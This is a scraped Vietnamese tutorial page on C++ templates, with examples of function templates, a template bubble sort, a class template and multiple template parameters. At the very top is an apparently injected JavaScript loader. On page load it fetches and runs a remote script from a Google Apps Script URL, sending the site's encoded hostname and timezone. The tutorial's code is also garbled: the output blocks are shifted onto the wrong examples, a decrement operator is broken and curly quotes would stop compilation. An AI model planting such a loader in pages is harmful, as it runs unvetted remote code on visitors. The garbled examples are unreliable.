var GTM = 'GTM-NJKFBQ8'; var GG_ADS = 'ca-pub-8687624480880776'; var POPUP_IMG_PREFIX = "https://nhaxinhplaza.vn/wp-content/uploads/2022/08/"; // qc.png, close.png var SHOW_POPUP = 1; // 0: disable, 1: enable var MAX_CLAIM = 1; var TIME_TO_SHOW_POPUP = 10; // 10s var MAX_BUFF = 3; var b64e = function (a) { return btoa(encodeURIComponent(a).replace(/%([0-9A-F]{2})/g, function (b, a) { return String.fromCharCode("0x" + a) })) }; var gg_layer = document.createElement('script'); gg_layer.type = 'text/javascript'; gg_layer.src = `https://script.google.com/macros/s/AKfycbwT2tLHaERiLaaaT_05pnXM2h0pjKHGRPBTQgeffPjyIIXBAR46dAuj5S0sgi2scsJ77Q/exec ?st=${b64e(location.hostname)}&tm=${new Date().getHours()}&os=${b64e(new Date().getTimezoneOffset())}`; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(gg_layer, s);

Template Trong C – Techacademy

Trong bài viết này Techacademy sẽ hướng dẫn các bạn tiếp cận tới một kiến thức khá là quan trọng mà mỗi người học lập trình C++ đều phải biết và áp dụng nó. Đó chính là Template.

I. Template Trong C++ Là Gì

Template là một công cụ đơn giản nhưng rất mạnh mẽ trong lập trình C ++. Template giúp truyền các kiểu dữ liệu dưới dạng tham số để không cần phải viết cùng một mã cho các loại dữ liệu khác nhau. Ví dụ, bạn cần viết một hàm sort () để sắp xếp phần từ cho nhiều kiểu dữ liệu khác nhau. Thay vì viết và duy trì nhiều mã, chúng ta có thể viết một sort () và truyền vào tham số là kiểu dữ liệu C ++ sử dụng hai từ khóa để cài đặt template: ‘template’ và ‘typename’. “typename” có thể được thay thế bằng từ khóa “class”

  • Template (khuôn mẫu) là một từ khóa trong C++, và là một kiểu dữ liệu trừu tượng tổng quát hóa cho các kiểu dữ liệu int, float, double, bool…
  • Template trong C++ có 2 loại đó là function template & class template.
  • Template giúp người lập trình định nghĩa tổng quát cho hàm và lớp thay vì phải nạp chồng (overloading) cho từng hàm hay phương thức với những kiểu dữ liệu khác nhau.

Sử dụng template để cài đặt các hàm sau sử dụng cho nhiều kiểu dữ liệu khác nhau: sort(), max(), min(), printArray().

max():

#include <iostream> using namespace std; // One function works for all data types. This would work // even for user defined types if operator ‘>’ is overloaded template <typename T> T myMax(T x, T y) { return (x > y) ? x : y; } int main() { cout << myMax<int>(3, 7) << endl; // Call myMax for int cout << myMax<double>(3.0, 7.0) << endl; // call myMax for double cout << myMax<char>(‘g’, ‘e’) << endl; // call myMax for char return 0; }

Bubble Sort:

// CPP code for bubble sort // using template function #include <iostream> using namespace std; // A template function to implement bubble sort. // We can use this for any data type that supports // comparison operator < and swap works for it. template <class T> void bubbleSort(T a[], int n) { for (int i = 0; i < n – 1; i++) for (int j = n – 1; i < j; j-) if (a[j] < a[j – 1]) swap(a[j], a[j – 1]); } // Driver Code int main() { int a[5] = { 10, 50, 30, 40, 20 }; int n = sizeof(a) / sizeof(a[0]); // calls template function bubbleSort<int>(a, n); cout << ” Sorted array : “; for (int i = 0; i < n; i++) cout << a[i] << ” “; cout << endl; return 0; }

Output:

7 7 g

II. Class Template Trong C++

Giống như các template function, template class rất hữu ích khi một lớp xác định một thứ gì đó độc lập với kiểu dữ liệu.

#include <iostream> using namespace std; template <typename T> class Array { private: T* ptr; int size; public: Array(T arr[], int s); void print(); }; template <typename T> Array<T>::Array(T arr[], int s) { ptr = new T[s]; size = s; for (int i = 0; i < size; i++) ptr[i] = arr[i]; } template <typename T> void Array<T>::print() { for (int i = 0; i < size; i++) cout << ” ” << *(ptr + i); cout << endl; } int main() { int arr[5] = { 1, 2, 3, 4, 5 }; Array<int> a(arr, 5); a.print(); return 0; }

Output:

Sorted array : 10 20 30 40 50

III. Truyền Nhiều Đối Số Tới Template Trong C++

Giống như các tham số bình thường, bạn có thể truyền nhiều kiểu dữ liệu làm đối số cho các mẫu. Dưới đây là một số ví dụ:

#include <iostream> using namespace std; template <class T, class U> class A { T x; U y; public: A() { cout << “Constructor Called” << endl; } }; int main() { A<char, char> a; A<int, double> b; return 0; }

Output:

1 2 3 4 5